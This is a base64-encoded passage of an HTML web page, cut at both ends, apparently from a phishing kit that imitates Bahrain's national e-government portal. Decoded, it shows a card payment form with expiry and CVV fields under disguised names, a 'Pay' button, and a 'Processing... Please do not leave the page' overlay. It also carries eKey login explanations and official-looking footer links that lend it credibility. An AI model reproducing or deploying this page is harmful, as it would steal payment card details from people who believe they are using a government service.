wogICAgd2lkdGg6IDQwJTsKICAgIHBhZGRpbmc6IDVweDsiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHlwZT0idGVsIiBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGF1dG9jb21wbGV0ZT0iY2MtZXhwIiBhdXRvY29ycmVjdD0ib2ZmIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNwZWxsY2hlY2s9ImZhbHNlIiBpZD0iZnVEdSIgbmFtZT0iZnVkdSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnB1dG1vZGU9Im51bWVyaWMiIGFyaWEtbGFiZWw9IkV4cGlyYXRpb24iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9Ik1NIC8gWVlZWSIgYXJpYS1pbnZhbGlkPSJmYWxzZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IC02N3B4OyIgY2xhc3M9ImNvbC14cy01IGNvbC1tZC01IHB1bGwtcmlnaHQgdWt1Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+IDxsYWJlbAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJtYXJnaW4tbGVmdDogNzRweDsiPkNWViA8c3VwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJjb2xvcjogcmVkOyI+Kjwvc3VwPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHlsZT0iICAgIHdpZHRoOiA2MCU7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgcGFkZGluZzogNXB4OwogICAgbWFyZ2luLXJpZ2h0OiAtMTVweDsKCiAgICBmbG9hdDogcmlnaHQ7IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9InRlbCIgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dCBJbnB1dC0tZW1wdHkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXV0b2NvbXBsZXRlPSJjYy1jc2MiIGF1dG9jb3JyZWN0PSJvZmYiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbGxjaGVjaz0iZmFsc2UiIGlkPSJ1S3UiIG5hbWU9InVrdSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpbnB1dG1vZGU9Im51bWVyaWMiIGFyaWEtbGFiZWw9IkNWQyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iQ1ZWIiBhcmlhLWludmFsaWQ9ImZhbHNlIiB2YWx1ZT0iIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJtYXJnaW4tbGVmdDogLTIwcHg7IiBtYXhsZW5ndGg9IjQiIG1pbmxlbmd0aD0iMyIgcmVxdWlyZWQ+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249ImNlbnRlciI+CgkJCQkJCQkJICAgPGRpdiBjbGFzcz0ic2VydmljZS1mb3JtLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZpZWxkX19pbnB1dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJtYXJnaW4tdG9wOiAyMHB4OwogICAgd2lkdGg6IDUwJTsKICAgIG1hcmdpbi1sZWZ0OiAxOHB4OyIgY2xhc3M9ImJ1dHRvbl9zdHlsZSBhcHBzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlBheSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoJCQkJCQkJCSAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZmllbGRzZXQ+CgoKCQkJCQkJCgoKCQkJCQkJCQkJCQkKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICAgICAgICAgCgoJCgkJCSA8IS0tIEVuZCBGb3JtLS0+IAoJCQk8L2Rpdj4KCQkgIDwvZGl2PgoJCTwvZGl2PgoJICA8L2Rpdj4KCgkJCQoJCgo8L2Rpdj4KPC9kaXY+CgoKPGRpdiBpZD0idGFiIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSIKICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICB0b3A6IDA7CiAgICAgIGxlZnQ6IDA7CiAgICAgIHdpZHRoOiAxMDAlOwogICAgICBoZWlnaHQ6IDEwMCU7CiAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC45Nik7CiAgICAgIHotaW5kZXg6IDk5OTk7CiAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgIiBpZD0ibG9hZGVyc3R5bGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KCQkJCQkJCQk8aW1nIHNyYz0iLi9sb2dvL2FqYXgtbG9hZGVyLmdpZiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoJCQkJCQkJCTwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJwcm9jZXNzaW5nLXRleHQiPlByb2Nlc3NpbmcuLi48L3A+CgkJCQkJCQkJPHAgY2xhc3M9InByb2Nlc3NpbmctdGV4dCI+UGxlYXNlIGRvIG5vdCBsZWF2ZSB0aGUgcGFnZTwvcD4KCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQkJIAoJCQkJCSAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkJCQkJCSAgc3VibWl0RW50ZXJGdW5jKCk7CgkJCQkJfSk7CgkJCQkJIAoJCQkJIDwvc2NyaXB0PgoJCQk8L2Rpdj4KCgkJCTxkaXY+CgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGFyaWEtaGlkZGVuPSJ0cnVlIiBhcmlhLWxhYmVsbGVkYnk9Im15TW9kYWxMYWJlbCIgcm9sZT0iZGlhbG9nIiB0YWJpbmRleD0iLTEiIGNsYXNzPSJtb2RhbCBoaWRlIGZhZGUiIGlkPSJlS2V5RmVhdHVyZWRNb2RhbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+VmlzaXRvciBlS2V5PC9oND4KCQkJCQkJPC9kaXY+CgkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlUaGUgVmlzaXRvciBlS2V5IG9mZmVycyBhIGxvdyBsZXZlbCBvZiBzZWN1cml0eSBhcyBpdCBpcyBub3QgYmFzZWQgb24gQmFocmFpbuKAmXMgTmF0aW9uYWwgU21hcnRjYXJkLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIDwvZGl2PgoJCQkJCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJCQkJIAoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMSI+CgkJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iY2xvc2UiIHR5cGU9ImJ1dHRvbiI+w5c8L2J1dHRvbj4KCQkJCQkJCTxoNCBzdHlsZT0iY29sb3I6IzEyNTlmZjsiIGlkPSJteU1vZGFsTGFiZWwiPlN0YW5kYXJkIGVLZXk8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCQlUaGUgU3RhbmRhcmQgZUtleSBlbnN1cmVzIGd1YXJhbnRlZWQgc2VjdXJpdHkuIFVzZXJzIG9ubHkgbmVlZCB0byBlbnRlciB0aGVpciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCB0byBiZW5lZml0IGZyb20gYSByYW5nZSBvZiBiYXNpYyBlU2VydmljZXMuCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQk8YnV0dG9uIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiB0eXBlPSJidXR0b24iPkNsb3NlPC9idXR0b24+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCgoJCQkJPGRpdiBhcmlhLWhpZGRlbj0idHJ1ZSIgYXJpYS1sYWJlbGxlZGJ5PSJteU1vZGFsTGFiZWwiIHJvbGU9ImRpYWxvZyIgdGFiaW5kZXg9Ii0xIiBjbGFzcz0ibW9kYWwgaGlkZSBmYWRlIiBpZD0iZUtleUZlYXR1cmVkTW9kYWwyIj4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+QWR2YW5jZWQgZUtleTwvaDQ+CgkJCQkJCTwvZGl2PgoJCQkJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQkJCQkKCQkJCQkJICA8IS0tIFN0YXJ0IC0gQ29udGVudCBDb250YWluZXIgQm94IC0tPgoJCQkJCSAgPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJCQkJCVRoZSBBZHZhbmNlZCBlS2V5IG9mZmVycyBhIGhpZ2hlciBsZXZlbCBvZiBzZWN1cml0eS4gQnkgZW50ZXJpbmcgeW91ciBQZXJzb25hbCBOdW1iZXIvIE5hdGlvbmFsIElEIGFuZCBQYXNzd29yZCwgeW91IGNhbiBiZW5lZml0IGZyb20gYSBjb21wbGV0ZSByYW5nZSBvZiBlU2VydmljZXMuIFJlZ2lzdHJhdGlvbiBvbmx5IHJlcXVpcmVzIHVzZXLigJlzIElkZW50aXR5IGNhcmQgYW5kIGZpbmdlcnByaW50IHNjYW4uCgkJCQkJCTwvZGl2PgoJCQkJCSAgPC9kaXY+CgkJCQkJICA8IS0tIEVuZCAtIENvbnRlbnQgQ29udGFpbmVyICBCb3ggLS0+IAoJCQkJCSAgCgkJCQkgICA8L2Rpdj4KCQkJCQk8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciIgY2xhc3M9Im1vZGFsLWZvb3RlciI+CgkJCQkJCSAgIDxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJidXR0b25fc3R5bGUiIHR5cGU9ImJ1dHRvbiI+Q2xvc2U8L2J1dHRvbj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoKCQkJCTxkaXYgYXJpYS1oaWRkZW49InRydWUiIGFyaWEtbGFiZWxsZWRieT0ibXlNb2RhbExhYmVsIiByb2xlPSJkaWFsb2ciIHRhYmluZGV4PSItMSIgY2xhc3M9Im1vZGFsIGhpZGUgZmFkZSIgaWQ9ImVLZXlGZWF0dXJlZE1vZGFsMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KCQkJCQkJCTxidXR0b24gYXJpYS1oaWRkZW49InRydWUiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGNsYXNzPSJjbG9zZSIgdHlwZT0iYnV0dG9uIj7DlzwvYnV0dG9uPgoJCQkJCQkJPGg0IHN0eWxlPSJjb2xvcjojMTI1OWZmOyIgaWQ9Im15TW9kYWxMYWJlbCI+Q29ycFBhc3M8L2g0PgoJCQkJCQk8L2Rpdj4KCQkJCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJCQkJCgkJCQkJCSAgPCEtLSBTdGFydCAtIENvbnRlbnQgQ29udGFpbmVyIEJveCAtLT4KCQkJCQkgIDxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJCQlBbGxvd3MgYnVzaW5lc3Mgb3duZXJzIHRvIHJlZ2lzdGVyIHRoZWlyIG9yZ2FuaXphdGlvbiBhbmQgZW1wbG95ZWVzIGZvciBhIENvcnBQYXNzIGFjY291bnQgYW5kIHBlcmZvcm0gdmFyaW91cyB0cmFuc2FjdGlvbnMgb24gYmVoYWxmIG9mIHRoZSBvcmdhbml6YXRpb24gaW4gYSBzZWN1cmUgbWFubmVyLgoJCQkJCQk8L2Rpdj4KCQkJCQkgIDwvZGl2PgoJCQkJCSAgPCEtLSBFbmQgLSBDb250ZW50IENvbnRhaW5lciAgQm94IC0tPiAKCQkJCQkgIAoJCQkJICAgPC9kaXY+CgkJCQkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiIGNsYXNzPSJtb2RhbC1mb290ZXIiPgoJCQkJCQkJPGJ1dHRvbiBhcmlhLWhpZGRlbj0idHJ1ZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgdHlwZT0iYnV0dG9uIj5DbG9zZTwvYnV0dG9uPgoJCQkJCTwvZGl2PgoJCQkJPC9kaXY+CgkJPC9kaXY+CgoKCTwhLS0gRW5kIFNlcnZpY2UgRm9ybSAtLT4KPC9kaXY+PC9kaXY+CjwvZGl2PjwvZGl2PjwvZGl2PgoJCQkKCQk8L2Rpdj4KCTwvZGl2PgoKPCEtLWVuZCBtYWluIGNvbnRlbnQtLT4KPC9kaXY+CjwhLS0gcGFnZSBmb290ZXIgLS0+CgoKPGZvb3Rlcj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCBwYWRkaW5nLXRvcC01MCI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIGZvb3Rlci1saW5rcyIgc3R5bGU9InBhZGRpbmctdG9wOjIwcHgiPgoJCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoND5JbmZvcm1hdGlvbiBHdWlkZSA8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvWW91ckd1aWRlRm9yTGl2aW5nSW5CYWhyYWluIj5Zb3VyIExpZmUgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9BYm91dFRoZUtpbmdkb20vIj5BYm91dCBUaGUgS2luZ2RvbTwvYT48L2xpPgoJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9QYXJ0aWNpcGF0ZVdpdGhVcy8iPmVQYXJ0aWNpcGF0aW9uPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL1NlcnZpY2VzQ2F0YWxvZ3VlLyI+R292ZXJubWVudCBTZXJ2aWNlcyBDYXRhbG9ndWU8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvR1NYLVVJLUFsbEVudGl0aWVzLyI+R292ZXJubWVudCBEaXJlY3Rvcnk8L2E+PC9saT4KCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvRGlyZWN0b3J5T2ZFbWVyZ2VuY3lIb3RsaW5lTnVtYmVycyI+RGlyZWN0b3J5IG9mIEVtZXJnZW5jeSBIb3RsaW5lIE51bWJlcnM8L2E+PC9saT4KCQkJCQk8L3VsPgoJCQkJPC9kaXY+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMyI+CgkJCQkJPGg0IGNsYXNzPSJoaWRlLWluLXJlc3BvbnNpdmUiPmVTZXJ2aWNlczwvaDQ+CgkJCQkJPHVsPgoJCQkJCQk8bGk+PGEgaHJlZj0iL3dwcy9wb3J0YWwvZW4vQlNQL0dTWC1VSS1NdWx0aXBsZVRoZW1lc0J5RVNlcnZpY2UiPmVTZXJ2aWNlcyBDYXRlZ29yaWVzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLU11bHRpcGxlRW50aXRpZXNCeUVTZXJ2aWNlIj5lU2VydmljZXMgUHJvdmlkZXJzPC9hPjwvbGk+CgkJCQkJCTxsaT48YSBocmVmPSIvd3BzL3BvcnRhbC9lbi9CU1AvR1NYLVVJLUFsbEFwcHMiPk1vYmlsZSBBcHBzIFN0b3JlPC9hPjwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCTxoNCBjbGFzcz0iaGlkZS1pbi1yZXNwb25zaXZlIj5RdWljayBMaW5rczwvaDQ+CgkJCQkJCTx1bD4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9BYm91dGJhaHJhaW5iaC9BYm91dCUyMGJhaHJhaW4uYmgiPkFib3V0IHRoZSBOYXRpb25hbCBQb3J0YWw8L2E+PC9saT4KCQkJCQkJCTxsaT48YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcy9lR292ZXJubWVudCUyMENoYW5uZWxzJTIwU3RhdGlzdGljcyI+Q2hhbm5lbHMgU3RhdGlzdGljczwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvY29tbXVuaXR5LWVuZ2FnZW1lbnQiPklDVCBldmVudHMgaW4gQmFocmFpbjwvYT48L2xpPgoJCQkJCQkJPGxpPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmlnYS5nb3YuYmgvZW4vY2F0ZWdvcnkvbmV3cyI+R292ZXJubWVudCBOZXdzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuaWdhLmdvdi5iaC9lbi9jYXRlZ29yeS9yZWNvZ25pdGlvbi1hbmQtYXdhcmRzIj5SZWNvZ25pdGlvbnMgJmFtcDsgQXdhcmRzPC9hPjwvbGk+CgkJCQkJCQk8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Vc2Vyc0d1aWRlIj5Vc2VyJ3MgR3VpZGU8L2E+PC9saT4KCQkJCQkJPC91bD4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjMiPgoJCQkJCTxoNCBjbGFzcz0iaW52aXNpYmxlIj5Gb2xsb3cgVXM8L2g0PgoJCQkJCTx1bD4KCQkJCQkJPGxpPgoJCQkJCQkJPGRpdiBjbGFzcz0iZm9sbG93LXVzLWljb25zIj4KCQkJCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vaUdBQmFocmFpbiIgdGl0bGU9IkZhY2Vib29rIiB0YXJnZXQ9Il9ibGFuayI+CgkJCQkJCQkJCTxpIGNsYXNzPSJmYWIgZmEtZmFjZWJvb2siIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vdHdpdHRlci5jb20vaUdBQmFocmFpbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aW1nIHN0eWxlPSJ3aWR0aDoyM3B4OyBtYXJnaW4tYm90dG9tOiAycHg7IiBhbHQ9IlRhd2FzdWwtTmF0aW9uYWwgc3VnZ2VzdGlvbnMgJmFtcDsgY29tcGxhaW50IHN5c3RlbSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy90d2l0dGVyLW5ldy1sb2dvLnBuZyI+CgkJCQkJCQkJPC9hPgkJCQkJCQkJCQoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3Lmluc3RhZ3JhbS5jb20vaWdhYmFocmFpbiIgdGl0bGU9Ikluc3RhZ3JhbSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWluc3RhZ3JhbSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CgkJCQkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vYy9pR0FCYWhyYWluIiB0aXRsZT0iWW91VHViZSIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLXlvdXR1YmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgoJCQkJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmxpbmtlZGluLmNvbS9jb21wYW55L2lnYWJhaHJhaW4iIHRpdGxlPSJMaW5rZWRJbiIgdGFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmFiIGZhLWxpbmtlZGluIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBocmVmPSIvd3BzL3BvcnRhbC9SU1NfZW4iIHRpdGxlPSJSU1MiPgoJCQkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtcnNzIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KCQkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiB0aXRsZT0iV2hhdHNhcHAiIGlkPSJ3aGF0c2FwcC1zaGFyZS1saW5rIj4KCQkJCQkJCQkJPGkgY2xhc3M9ImZhYiB